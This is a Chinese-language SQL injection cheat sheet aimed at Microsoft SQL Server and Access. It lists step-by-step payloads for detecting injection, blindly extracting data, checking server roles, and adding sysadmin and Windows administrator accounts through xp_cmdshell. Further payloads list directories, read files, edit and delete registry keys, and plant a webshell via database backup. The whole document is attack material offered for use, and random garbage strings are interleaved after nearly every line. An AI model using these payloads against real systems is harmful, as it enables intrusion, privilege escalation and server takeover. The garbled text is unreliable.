1.判断是否有注入;and 1=1 ;and 1=2 U1~6 o"1H
2.初步判断是否是mssql ;and user>0 *hZ{>
#(f- cK
3.注入参数是字符'and [查询条件] and ''=' @-H D9h
_tO:,%dL
4.搜索时没过滤参数的'and [查询条件] and '%25'=' (Aw!K`0Y1
Q~S3d
5.判断数据库系统 {Bm7'%i
6$_//
;and (select count(*) from sysobjects)>0 mssql A.>TD=Nz
F` "bMS
;and (select count(*) from msysobjects)>0 access 2j(]Bt:
'D<84|w:1
X4dXO5\
NAt; r
6.猜数据库 ;and (select Count(*) from [数据库名])>0 AW<z7BD
/%9CR'%*c
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 sV5S>*A[
`(6g87h
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "Z70
jkW[
c>pbRUMH
9.(1)猜字段的ascii值(access) W^Z#_{
cs6I
K6wo
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Hb|y`O k
t,>j{SK ~
(2)猜字段的ascii值(mssql) 'awZ-$#
MTUJsH\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /By`FW Y
dp'xd>m
10.测试权限结构(mssql) d-BUdIz
OZed+t=
$(JB"%S8c
9m:G8j'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- nD/;
Gq
(TQhO$,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- /+{]?y,
]v6s](CE
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .Bb86Y=3
|uRZT3bGyj
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- qsTB)RdjP%
bi 8Qbo4
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9]^ CDL
JC}oc M
j0
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- iZbY@-3fc
P]wCC`qi
;and 1=(select IS_MEMBER('db_owner'));-- "- XJZ;5
NwB;9ZhZ
,oS<9kC68
2\, h "W(
11.添加mssql和系统的帐户 lhRo+X#G
4kqgZtg.
;exec master.dbo.sp_addlogin username;-- %L;;W,l$`)
;exec master.dbo.sp_password null,username,password;-- ]f<H?
%tC3@S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;;;{<GEQ
#mK?K
;exec master.dbo.xp_cmdshell 'net user username password hfQx$cv6
\~bx%VWW4
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- X!/o7<
'<eeCe-
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $Z!7@_Ys
j\9v1O!T
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0z1UF{{
k),!%6\(
N5Rda2m
=SqI#v
12.(1)遍历目录 HJ+I;OJ
tP;^;nw
;create table dirs(paths varchar(100), id int) f~{@(g&Gl
~|t7
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^N`bA8
ZlxJY%oeu
;and (select top 1 paths from dirs)>0 JZM:R
3duWk sERC
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) pz]T9ol~
+#IsRiH%>
:2_8.+:
yw3E$~ k
(2)遍历目录 >nA6w$
@+(TM5Ub
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Dd:;8Xo
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 SC6cFyp2
.o?"=Epo
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \gE6KE<?p
8LZmr|/F*
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 :6}y gL*i
AtU!8Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Pm*N!:u
q;{# ~<"+
%:~LU]KX
7[}K 2.W.
13.mssql中的存储过程 ]J
aV +b'O
5\6S5JyIL
xp_regenumvalues 注册表根键, 子键 ` e~nn
]l.qp5eQ
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 t:?8I9d
Mc#w:UH[
xp_regread 根键,子键,键值名 H*M )<"X
4LfD{-_uW
;exec xp_regread !0+!%Nr>J
;#F7Fp *U
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Ka$YKY,
[EX@I
=?
xp_regwrite 根键,子键, 值名, 值类型, 值 b9(_bsc
DL:wiQ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 B- `,h pp
+dIO+(&g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 0s#`H
xct{Tv[FO
xp_regdeletevalue 根键,子键,值名 y:>'1"2`
M],}.l
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >,V~-Tp
;jEDGKLq
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 cJ>
#jl&
;[ag|YU$Y
cGVIO"(VP
j$TTLFK1
14.mssql的backup创建webshell X$<s@_#1
nM?mdb
use model HpD<NVu
jhN]1t/\X
create table cmd(str image); :@H&v%h(u
",hPy[k
insert into cmd(str) values (''); r- :u*
8LMO2Wyq
backup database model to disk='c:\l.asp'; O
DLRzk(
bZB7t`C5
0 kM4\En
+oT/ v3,
15.mssql内置函数 `qnNEJL,
4%(\y"T
;and (select @@version)>0 获得Windows的版本号 [A.ix}3mm
G; *jL4
;and user_name()='dbo' 判断当前系统的连接用户是不是sa PDEeb.(.
oJLpFL
;and (select user_name())>0 爆当前系统的连接用户 { vf"`#Q9
/4}B}"`Sl=
;and (select db_name())>0 得到当前连接的数据库 mT7B#^H
kX2bU$1Q,i
i#lnSJ08
dV( "g],
16.简洁的webshell ])sIQ{P
l|z0aF;z
use model 1zDat@<H
`=zlS"dQ
create table cmd(str image); qkEre
M!9gOAQP
insert into cmd(str) values (''); U>,E]'
ka^sOC+Y
backup database model to disk='g:\wwwtest\l.asp';